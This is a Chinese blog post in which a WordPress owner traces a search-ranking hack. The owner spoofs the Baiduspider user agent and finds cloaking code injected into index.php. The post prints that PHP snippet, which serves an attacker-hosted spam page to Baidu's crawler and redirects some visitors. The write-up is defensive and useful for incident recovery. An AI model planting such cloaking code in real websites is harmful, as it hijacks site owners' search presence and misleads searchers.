两年前自己用wordpress搭了一个网站，平时没事写写文章玩玩。但是前些日子，突然发现网站的流量突然变小，site了一下百度收录，发现出了大问题，网站被黑了。大多数百度抓取收录的页面title和description被篡改，如下图，title标题被改成xx友情链接，描述description是一些广告网址。但是点进去以后，访问正常，页面显示正常，页面源代码也正常，丝毫没有被篡改的痕迹。但是，为什么百度爬虫会抓取到这些广告文字呢，这些文字哪里来的？
2、自己猜想了一下原因，页面和百度抓取收录显示不一致。查服务器日志方案不可行。
网站实际页面和百度排虫收录显示不一致，网站源代码肯定被了，但怎么改的，改在哪里不知道，服务器里代码文件有几百个，一个个检查，一行行看源代码肯定不现实。首先想到了检查服务器日志。但是问题是不知道黑客哪天改的，所以只能调出了几个星期的服务器日志来检查。可是，检查日志也是庞大的工程，而且对此经验不足，也很费事，也不一定有结果。因此，只能又寻求新的办法。
3、找到了问题解决的关键路线，使用useragent-watch
页面内容没变，但百度排虫抓取错了，问题肯定出在爬虫抓取身上。所以如果能看到排虫抓取的整个流程，或许会会找到答案。一番研究之后，找到了一个工具“user-agent-switcher”，可以模拟各种设备和搜索引擎排虫，chrome和火狐浏览器都有插件可以安装。chrome安装useragent-watch之后，添加百度爬虫useragent 设置：Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)。如图。
其他搜索引擎useragent：http://hi.baidu.com/romicboy/item/afc8d8d217278d5bd63aae22
设置完以后，切换到模拟百度爬虫状态，再次访问我的网站，这次果然现原形了，网站这次跳到了另一个网站页面，这个页面内容就是，我网站在百度上显示的那些广告信息，如下图。再把useragent切换回来，输入我的网站域名，这次访问一切正常。这次可以下结论了，问题是在useragent上。黑客肯定修改了网站的源代码，而且是在源代码里加了判断语句，如果是当前请求的useragent是搜索引器爬虫，就把排虫引到把广告页面，如果是其他的就正常执行的。
4、找到被修改的源代码
虽然找到了问题原因，但是该怎么找到被修改的文件呢。不过，了解了wordpress源代码文件执行顺序流程，一切就很简单了，如下图，按照顺序一个个文件找很快就能找到。
登录到ftp，按照文件首先找到了index.php文件，果然，运气不错，第一个文件就是被修改的。黑客在代码最开始就添加了如下图的代码。
5、解释下这段php代码的意思：
class="brush:csharp;gutter:true;">$file="http://www.XXXX.com/XXXX/X.htm";
$referer=$_SERVER["HTTP_REFERER"];//来路的网址url
$agent= strtolower($_SERVER["HTTP_USER_AGENT"]);//当前请求的内容转化成小写
if(strstr($referer,"baidu")&&strstr($referer,"456"))//如果是从百度点到该页的
{
Header("Location: $url");//转到原来的正常url
}
if(ereg("http://www.baidu.com/search/spider.htm",$agent))//如果是百度排虫
{
$content=file_get_contents($file);//转到之前定义的那个url页面
echo $content;
exit;
}
把这一段删了，就ok了。重新提交百度，让百度重新抓取，过了几天百度快照更新就好了。
相关文章
